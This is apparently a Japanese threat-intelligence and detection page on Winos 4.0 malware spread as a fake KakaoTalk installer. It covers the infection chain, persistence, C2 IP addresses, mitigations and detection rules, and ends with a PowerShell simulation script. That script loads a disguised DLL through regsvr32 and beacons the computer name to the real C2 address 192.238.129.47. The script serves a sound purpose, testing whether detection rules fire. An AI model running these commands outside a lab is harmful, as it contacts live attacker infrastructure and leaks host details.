KakaoTalkインストーラーに偽装するWinos 4.0マルウェア
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
攻撃者はSEOポイズニングを悪用して偽のKakaoTalkインストーラーを検索結果の上位に押し上げました。このインストーラーは無効なコード署名証明書を持ち、Verifier.exeおよびAutoRecoverDat.dllを含む悪意のあるファイルを展開するNSISパッケージを埋め込んでいました。実行されると、マルウェアはDLL登録、スケジュールされたタスク、およびミューテックスを介して持続性を達成し、2つの別々のC2サーバーに接続しました。その能力には、スクリーンキャプチャ、システムプロファイリング、追加ペイロードのインメモリ実行が含まれていました。
調査
アーンラボセキュリティインテリジェンスセンターは、3月9日にキャンペーンを開始して以降、5,000台以上のPCが侵害されたと報告しました。分析では、暗号化されたNSISペイロードが復号してVerifier.exeとAutoRecoverDat.dllをドロップし、ミューテックスを作成し、GPUCache.xmlファイルからシェルコードをロードすることが示されました。シェルコードのブランチに応じて、マルウェアは192.238.129.47または119.28.70.225のC2インフラストラクチャに接触しました。持続性はDLL登録とスケジュールされたタスクによって維持され、Verifier.exeまたは rundll32 と共に悪意のあるDLLを起動します。
緩和策
組織は、キャンペーンに関連する悪意のあるドメインとダウンロードURLをブロックする必要があります。厳格なコード署名の検証を行い、無効な証明書を持つバイナリの実行を防ぎます。アプリケーションの許可リスト化を使用して、不明なNSISインストーラーの実行をブロックします。セキュリティチームは、報告書で概説されている特定のミューテックス、疑わしいスケジュールされたタスク、レジストリの変更を監視する必要があります。
対応策
検出チームは、ミューテックス 77825d8f-46d1-42d0-b298-83068bf9e31d の作成および MicrosoftWindowsAppID の下のスケジュールされたタスクについてアラートを出すべきです。ユーザープロファイルディレクトリ内の Verifier.exe と AutoRecoverDat.dll を狩り、既知のC2 IPとポートへのアウトバウンドトラフィックをブロックします。影響を受けたシステムの法医学的レビューを実施し、すべての持続性のアーティファクトと悪意のあるコンポーネントを完全に削除します。
攻撃フロー
検出
Rundll32 DLL 疑わしいパス実行(process_creation経由)
表示
Windows Defender 設定の疑わしい変更(powershell経由)
表示
異常なトップレベルドメイン(TLD)DNSリクエストによる疑わしいコマンド&コントロール(dns経由)
表示
識別子(HashMd5)を使って検出:KakaoTalkインストーラーとして偽装されたWinos4.0マルウェア
表示
識別子(DestinationIP)を使って検出:KakaoTalkインストーラーとして偽装されたWinos4.0マルウェア
表示
識別子(SourceIP)を使って検出:KakaoTalkインストーラーとして偽装されたWinos4.0マルウェア
表示
Winos4.0のマルウェア活動の検出 [Windowsプロセス作成]
表示
GPUCacheファイルを介したWinos4.0のC2通信 [Windowsネットワーク接続]
表示
シミュレーション実行
前提条件: テレメトリーおよびベースラインのプレフライトチェックが合格している必要があります。
理論根拠: このセクションでは、検出ルールをトリガーするよう設計された敵の技術(TTP)の正確な実行詳細を記載しています。コマンドと説明は識別されたTTPに直接関係し、検出ロジックによって期待される正確なテレメトリーを生成することを目指します。
-
攻撃ストーリー&コマンド:
攻撃者はすでに悪意のあるDLLを
%LOCALAPPDATA%MicrosoftWindowsGPUCacheディレクトリ内に配置し、正規のキャッシュファイルとして偽装しています。ペイロードを実行するために、攻撃者は Regsvr32 (T1218.012)を利用してDLLを読み込み、ロードされたコンポーネントを使用してTCPポート18852(またはHTTPSポート443)を介してハードコーディングされたサーバー192.238.129.47へC2通信を開始します。このネットワークフローは、Sigmaルールが監視する観察可能な指標です。- Regsvr32で悪意のあるDLLをロード
regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" - C2ビーコンを開始 (悪意のあるDLLがC2サーバーへTCPソケットを開きます)。テスト用に、同じIP/ポートに接続する単純なPowerShell TCPクライアントでビーコンをエミュレートします。
$c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852) $stream = $c2.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME") $stream.Write($payload,0,$payload.Length) $stream.Close() $c2.Close()
- Regsvr32で悪意のあるDLLをロード
-
回帰テストスクリプト: 以下のスクリプトは、上記のステップをエンドツーエンドで再現し、Sigmaルールが期待する正確なネットワークテレメトリーを生成します。
# ------------------------------------------------- # Winos4.0 C2 シミュレーション - Sigmaルールをトリガー # ------------------------------------------------- # 1. Regsvr32で悪意のある(シミュレーションされた)DLLをロード $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Write-Host "[*] Regsvr32で悪意のあるDLLを登録中..." regsvr32 /s $dllPath } else { Write-Error "[-] シミュレーションされたDLLが $dllPath に見つかりません - 中止します。" exit 1 } # 2. ハードコーディングされたIP/ポートへのC2ビーコンをエミュレート $c2IP = '192.238.129.47' $c2Port = 18852 Write-Host "[*] $c2IP:$c2Port へのTCP接続を確立中..." try { $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port) $stream = $client.GetStream() $msg = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)" $bytes = [System.Text.Encoding]::ASCII.GetBytes($msg) $stream.Write($bytes,0,$bytes.Length) Write-Host "[+] ビーコンを送信しました。" } catch { Write-Error "[-] 接続失敗: $_" } finally { if ($stream) { $stream.Close() } if ($client) { $client.Close() } } # ------------------------------------------------- -
クリーンアップコマンド: 一時的なアーティファクトを削除し、残存する接続を閉じます。
# テストアーティファクトである可能性があるシミュレーションされた悪意のあるDLLを削除 $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Remove-Item -Path $dllPath -Force Write-Host "[*] シミュレーションされたDLLをクリーンアップしました。" } # クライアント側のみであるため、残存するTCPリスナーは残らないはずです Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object { # アクションは必要ありません。接続はスクリプト内で閉じられます。 }